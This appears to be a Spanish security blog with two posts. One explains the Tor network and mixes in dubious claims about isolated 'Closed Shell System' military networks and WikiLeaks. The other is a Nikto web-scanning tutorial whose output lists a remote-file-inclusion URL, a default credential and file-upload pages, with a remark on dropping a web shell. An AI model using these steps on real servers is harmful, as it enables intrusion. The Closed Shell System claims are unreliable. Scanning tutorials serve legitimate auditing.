HACKER ANGELWHITE GALC

sábado, 14 de junio de 2014

Seguridad Informática [ANGEL WHITE ,Pen-test,Anti Script-kiddies]

Red Tor - Closed Shell System.




Bueno en esta ocasión he venido a hablar de un tema ya muy difundido en muchos foros y blog's en internet, pero creo que todavía existen algunas dudas con respecto a este tema, el cual va a tratar acerca de los misterios que hay en la famosa Red Tor, y mas aún, sus misteriosos niveles. En este pequeño post voy a tratar de reflexionar sobre este tema, desde sus creación hasta su posterior apogeo y finalmente sus dudas con respecto a la seguridad que nos ofrece. Pues sin mas que decir iniciemos nuestra nueva aventura.

Creado en 2003 por Roger Dingledine, Nick Mathewson y Paul Syverson surgió como la evolución del proyecto Onion Routing del Laboratorio de Investigación Naval de los Estados Unidos. Inicialmente financiado por el Laboratorio de Investigación Naval de los Estados Unidos. A finales de 2004 pasó a ser patrocinado por la Electronic Frontier Foundation, la organización de defensa de libertades civiles en el mundo digital, hasta noviembre de 2005. Actualmente el proyecto Tor está en manos del 'Tor project' una organización sin ánimo de lucro orientada a la investigación y la educación, radicada en Massachusetts y que ha sido financiada por distintas organizaciones.



Es importante resaltar que este proyecto ha ganado algunos premios por difundir de forma dual el uso de software libre y por permitir que millones de personas de todo el globo se doten de un libertad de acceso y de expresión en Internet manteniendo su privacidad y anonimato.

También hay que tener presente que esta descripción es la versión oficial. Existen pequeños fragmentos de que Tor fue ultrajada por personas externas e internas de los laboratorios de investigación.


En esta sección vamos a estudiar a detalle como funciona la Red Tor. (Toda esta información la pueden encontrar en wikipedia, en la cual se ha realizado un estudio detallado sobre dicho tema.) En las siguientes líneas vamos a tratar de explicar de forma mas precisa como ocurre el transporte de información en esta mencionada Red.

.


Antes de hablar acerca iniciar esta sección del post, es necesario tener conocimiento acerca de algunos conceptos básicos, con los cuales vamos a poder entender mejor el sistema de transmisión de datos en Tor


Socks : Es un protocolo de Internet que permite a las aplicaciones Cliente-servidor usar de manera transparente los servicios de un firewall de red. Un ejemplo seria que un cliente que está detrás de un firewall, desee acceder a servidores externos, en este caso el cliente puede conectarse primero a un servidor proxy Socks. Dicho servidor proxy controlará a los clientes que desean acceder al servidor externo, para esto el servidor proxy enviara la respectiva petición al dicho servidor. Cabe resaltar que también puede ocurrir de la forma contraria.


Protocolo TLS (Transport Layer Security) :  Es un protocolo mediante el cual se establece una conexión segura por medio de un canal cifrado entre el cliente - servidor. Hay que tener presente que dicho protocolo es una evolución y sucesor del protocolo SSL pero también hay que tener presente que versiones de TLS son equivalentes a SSL, por ejemplo TLS 1.2 corresponde a SSL 3.3, esto conlleva a que aún se refiera a este protocolo como SSL.


Para tener una mejor visión acerca del protocolo SSL, vamos a detallar los pasos de negociaciones entre cliente - servidor que ocurren para poder llegar a establecer un canal seguro.


Nota : Autoridad de Certificación (CA - Certification Authority) : Es una entidad de confianza, responsable de emitir y revocar los certificados digitales o certificados, utilizados en la firma electrónica.



Nota : En el tercer proceso, el cliente tratara de auto-identificar el CA emitido por el servidor buscando dicho CA en su propio directorio, y si dicho CA es desconocido por el navegar, el mismo mostrará un mensaje de aceptar dicho CA bajo su propio riego. (En la actualidad algunos CA han sufrido ataques de piratería).


En el diagrama que voy a presentar se puede observar los distintos elementos que intervienen al momento que nosotros solicitemos un servicio vía internet utilizando la Red Tor. Para mejor detalles vamos a proceder a describir los elementos.




  • Usuario :  Es aquí donde tiene origen el tráfico que va ser destinado a la Red Tor. El usuario va a decidir el tráfico que va a querer dirigir hacia Tor, teniendo en cuenta que Tor sólo permite anonimizar tráfico TCP (Peticiones DNS y HTTP). Las aplicaciones acceden a la red TOR a través de la interfaz Socks, lo cual significa que toda aplicación que tenga soporte para Socks puede redirigir su tráfico hacia el cliente Tor, con la finalidad de poder realizar comunicaciones anónimas. Se puede dar el caso que existan aplicaciones cuyo protocolo se encuentre en la capa de aplicación (generalizando) que no tengan un soporte para Socks. En este caso vamos a necesitar convertir dicho tráfico de la aplicación con la ayuda de proxy, el cual ejecutara la conversión del tráfico a Socks. Por último, si tuvieramos una aplicación genérica que no soporta Socks y queremos que su tráfico TCP se convierta a formato Socks para posteriormente destinarlo al cliente Tor. En este caso particular vamos a tener que torificar el tráfico, el cual lo puede realizar torify (Linux) y freecap, torcap y sockscap (Windowss.)
  • Cliente Tor : Los usuarios que deseen obtener los beneficios que nos brinda Tor, van a tener que descargar un software que se encuentra en la página oficial del Proyecto Tor, para posteriormente ejecutarlo. El hecho de ejecutarlo va a brindar la opción de clasificar el tráfico de las aplicaciones. Esta pequeña ventana (nodo) va a tener la función de obtener información del servicio de directorio, establecer circuitos aleatorios a través de la red y manejar las conexiones de las aplicaciones que usuario esta redirigiendo hacia el Cliente. 

  • Servicio de Directorio : Es una base de datos que posee una serie de información de interacción cada nodo(router descriptor). Esta información es accesible a todos los nodos y a todos los usuarios y la usan para tener un conocimiento de la red. Por motivos de backup y de latencia los nodos que dan el servicio de directorio mantienen duplicada la información pasándosela de unos a otros. Hay una serie de nodos principales (autoridades de directorio) y otros secundarios que hacen de caches y backup. Los servicios de directorio son o deben ser nodos muy confiables, tal es el punto que para poder dar credibilidad a la información que da el servicio de directorio, las entradas son protegidas criptográficamente con firmas y sólo la información que proviene de otros nodos aprobados será publicada en la base de datos del sistema de directorio. Por tanto, todo nodo nuevo tiene que ser previamente aprobado para evitar futuros ataques.

  • Nodo de entrada : Conocido como Onion Router. Tienen la fúnción de ser encaminadores y en algunos casos de acuerdo al equilibrio del sistema, como servidores de directorio (DNS). Los nodos de entrada mantienen una conexión TLS con uno o mas de los nodos inmersos en Tor. Como se menciono anteriormente, el servicio de directorio interacciona con los nodos actualizando la información con el fin de que los nodos puedan crean mas conexiones con nodos que no se encuentren actualmente conectados con el mismo.

  • Nodo medio : Los nodos medios mantienen una conexión TLS con cada uno de los otros nodos. Cuando un nodo inicia el proceso de actualización de la nueva información con respecto del directorio , él intenta abrir nuevas conexiones a cualquier nodo que no esté conectado.
  • Nodo de salida : Estos nodos son los que van a establecer un contacto entre la Red Tor con el exterior, dichos nodos son los que van a reemplazar nuestra identidad (IP). Es este elemento en donde finaliza el trabajo de descifrado, para que posteriormente la información sea emitido hacia el exterior totalmente libre.
  • Servidor de destino : Son los servidores a los que deseamos , dichos servidores nos van a registrar con la identidad del nodo de salida. De esta forma nuestra identidad esta oculta, pero nuestra privacidad esta en constante peligro.


Mapa de Internet.

Con el acelerado crecimiento que ha tenido internet estos últimos años, vamos a dar detalles sobre algunas cuestiones que de cierta forma siembran dudas sobre las personas.

Nota : No se va a tratar acerca de los niveles de la Deep Web, pero llegando a un punto de la explicación se va a requerir información de la misma.


En la imagen presentada se puede observar círculos los cuales representar servidores como sitios web, esta distinción se da por el tráfico de cada uno de los mismos, por ende el círculos de mas tamaño deben ser buscadores o sitios web visitados por millones de usuarios. Para poder dar a conocerlos vamos a acercarnos un poco mas.

Nota : Esta información presentada es de acuerdo a lo expuesto por Google, por ende, de cierta formas todos estos nodos se encuentran relacionados (robots de búsqueda) con el moto de búsqueda Google. Esto nos lleva a la conclusión que entonces no todos los sitios webs se encuentran en este supercúmulo de círculos, sino que también existen círculos que se encuentran opacados por las sombras.



Ahora ya podemos saber quienes son estos gigantes. Pues en la lista tenemos a Google, Youtube, Facebook, Yahoo, Bing, Twitter, etc.

A continuación vamos a dirigirnos a una sección de todo este supercúmulo, en la cuál para poder visualizar la información va ser necesario hacer uso de alguna especie de Proxy (Tor,VPN).


Hasta este punto hemos podido mostrar la existencia de redes que fácil acceso tanto como lo son Google, Youtube, Facebook y otras mas, y también aquellas que se requieren de algún proxy para su visualización.

A continuación vamos a lanzar un rayo de luz en esa gran oscuridad del supercúmulo, con el fin de poder detectar aquellas redes que son totalmente privadas y cerradas y que no tienen acceso al internet. Estas redes de alto nivel son llamadas Closed Shell System.( Systema de Control Cerrado)


La siguiente imagen nos va a permitir tener una mejor visualización acerca de los sistemas de control cerrados.

Hay que tener presente que estos Closed Shell System no tiene acceso a internet por ningún punto. Dichos sistemas suelen ser implementados en los sectores de defensa ya sea por la marina, fuerza aérea y por el ejercito. En estos servidores de control se encuentra información clasificada, y el único método de acceder a ella, es teniendo una interacción física con el propio sistema.

Nota : Los Closed Shell System también pueden ser usados por grupos de cibercriminales como por grupos organizados dedicados a la pedofilia u otra organización con otros fines. Por último, cabe resaltar que es decisión del administrador de estas redes conectarse a redes externas (Internet) o no hacerlo.




Wikileaks - Julian Assange - Bradley Manning.


Es una organización mediática internacional sin ánimo de lucro que publica a través de su sitio web informes anónimos y documentos filtrados con contenido sensible en materia de interés público, preservando el anonimato de sus fuentes. El creador de este nueva ventana de la verdad fue Julian Assange y el lanzamiento de la misma se realizó en diciembre de 2006, si bien su actividad comenzó en julio de 2007-2008. Desde entonces su base de datos ha crecido constantemente hasta acumular 1,2 millones de documentos.

Wikileaks estuvo en la mira del mundo el día 5 de abril de 2010 cuando publicó un vídeo del 12 de julio de 2007 en el que se ve cómo soldados estadounidenses disparan al reportero de Reuters Namir Noor-Eldeen, a su ayudante y a nueve personas más que iban armadas con fusiles de asalto, algunas de ellas cuando posteriormente iban a llevarse a los muertos y heridos. Tras filtrar dicha información WikiLeaks puso en jaque al aparato militar de EE. UU.

Ataque aéreo a Bagdad : https://www.youtube.com/watch?v=hKdf9JsyOJA


En ese entonces se desconocía la fuente que había proporcionado dicha información, pero no paso mucho tiempo hasta que un reconocido "Hacker" llamado Adrian Lamo dio a conocer información acerca de la fuente que proveo todo este arsenal a Wikileaks, posteriormente se dio a conocer la identidad de esta persona cuyo nombre era Bradley Manning.

Bradley Manning fue un soldado y analista de inteligencia del ejército de los Estados Unidos, este cargo le permitía entrar en contacto con millares de documentos de alto rango, los cuales se encontraban en Closed Shell System.
Hay que tener presente que la información que se filtro en esos años no solo fue de índole militar, también hubieron otros tipos de archivos gubernamentales (cables diplomáticos). La cuestión es como el soldado Bradley tuvo acceso a dicha información.


Un punto a tomar en consideración, es que en cuestiones militares tener mas información trae como consecuencia tener mas probabilidades de éxito en una operación, es por eso que muchos departamentos pueden trabajar juntos y compartir información. Es decir que el Closed Shell System de la división del soldado Bradley pudo entrar en interacción física o virtual con otra división como lo puede ser la Fuerza Aérea, la Marina de Guerra, el Pentágono u otro sistema que este relacionado al Sistema de Defensa.


Las comunicaciones entre sistemas que se encuentran muy alejadas pueden optar por el uso de artefactos(satélites) que sirvan como receptor o emisor de la información que se desea transmitir.


Bueno creo que hemos llegado al final de este post, espero que esta pequeña información les sea de utilidad, y haya sido de su total entendimiento, sin mas que decir me despido y será hasta la próxima. Nos vemos.

martes, 3 de junio de 2014

Pentesting Web Servers with Nikto in Backtrack and Kali Linux

Nikto is one of the most popular web security application when you are beginning a web pentesting project.

You can download Nikto from http://cirt.net/nikto2 This tool has been included in Backtrack and Kali Linux distributions.

Nikto is an Open Source web server scanner. This tool performs test against web servers making requests for multiple items. Nikto checks:


  • Over 6500 dangerous files/CGIs.
  • More than 1250 outdated version for several web servers.
  • Specific problems on over 270 servers.
  • Presence of index files.
  • HTTP server options like TRACE.
  • Installed software and web servers.


 

 Nikto creates a lot of requests quickly, is not designed as an overly stealthy tool. If you run Nikto against a remote Web Server, the administrator could read a lot of lines on web server log which show the attack. Some SIEMs have defaults rules for correlating these logs and it could create an alarm warning to the administrators about the attack.

These are the Nikto options.
jnieto@naltor:~$ nikto 
Option host requires an argument

       -config+            Use this config file
       -Cgidirs+           scan these CGI dirs: 'none', 'all', or values like "/cgi/ /cgi-a/"
       -dbcheck            check database and other key files for syntax errors
       -Display+           Turn on/off display outputs
       -evasion+           ids evasion technique
       -Format+            save file (-o) format
       -host+              target host
       -Help               Extended help information
       -id+                Host authentication to use, format is id:pass or id:pass:realm
       -list-plugins       List all available plugins
       -mutate+            Guess additional file names
       -mutate-options+    Provide extra information for mutations
       -output+            Write output to this file
       -nocache            Disables the URI cache
       -nossl              Disables using SSL
       -no404              Disables 404 checks
       -port+              Port to use (default 80)
       -Plugins+           List of plugins to run (default: ALL)
       -root+              Prepend root value to all requests, format is /directory 
       -ssl                Force ssl mode on port
       -Single             Single request mode
       -timeout+           Timeout (default 2 seconds)
       -Tuning+            Scan tuning
       -update             Update databases and plugins from CIRT.net
       -vhost+             Virtual host (for Host header)
       -Version            Print plugin and database versions
     + requires a value

 Note: This is the short help output. Use -H for full help.

We are going to run Nikto against a server.

jnieto@naltor:~$ nikto -h www.XxXxXxXxXx.es
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP:          XXX.XXX.XXX.XXX
+ Target Hostname:    www.XxXxXxXxXx.es
+ Target Port:        80
+ Start Time:         2013-06-19 16:23:35
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Win32) PHP/5.3.1
+ Retrieved x-powered-by header: PHP/5.3.1
+ robots.txt contains 10 entries which should be manually viewed.
+ ETag header found on server, inode: 1688849860445366, size: 1028, mtime: 0x49b5cedbf3834
+ Multiple index files found: index.php, index.html, 
+ PHP/5.3.1 appears to be outdated (current is at least 5.3.5)
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Default account found for 'Acceso restringido a usuarios autorizados' at /webalizer/ (ID '', PW '_Cisco'). Cisco device.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /datos/: This might be interesting...
+ OSVDB-3092: /ftp/: This might be interesting...
+ OSVDB-3092: /imagenes/: This might be interesting...
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /README.TXT: This might be interesting...
+ OSVDB-3092: /readme.txt: This might be interesting...
+ OSVDB-3092: /temp/: This might be interesting...
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3093: /FCKeditor/editor/filemanager/upload/test.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/dialog/fck_image.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/connectors/test.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/dialog/fck_flash.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/dialog/fck_link.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3092: /INSTALL.txt: Default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3092: /install.txt: Install file found may identify site software.
+ OSVDB-3092: /INSTALL.TXT: Install file found may identify site software.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/frmupload.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ OSVDB-3093: /FCKeditor/fckconfig.js: FCKeditor JavaScript file found.
+ OSVDB-3093: /FCKeditor/editor/filemanager/browser/default/browser.html: FCKeditor could allow files to be updated or edited by remote attackers.
+ 6448 items checked: 10 error(s) and 31 item(s) reported on remote host
+ End Time:           2013-06-19 16:27:19 (224 seconds)
---------------------------------------------------------------------------

As you can see, we have find out the Server and PHP versions and a lot of interesting folders.

We have discover a RFI (Remote File Include) on this server...
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/

This URL path get a PHP code from http://cirt.net/rfiinc.txt? with the next code:
<?php phpinfo(); ?>

This code executes "phpinfo" but if you want, you can upload a web shell in order to gain access to the server.




Next line is interesting too. Nikto has located some URLs where you  could upload files with your own source code.

+ OSVDB-3093: /FCKeditor/editor/filemanager/upload/test.html: FCKeditor could allow files to be updated or edited by remote attackers.



Nikto is one of the first applications that I run when a client request me a web audit.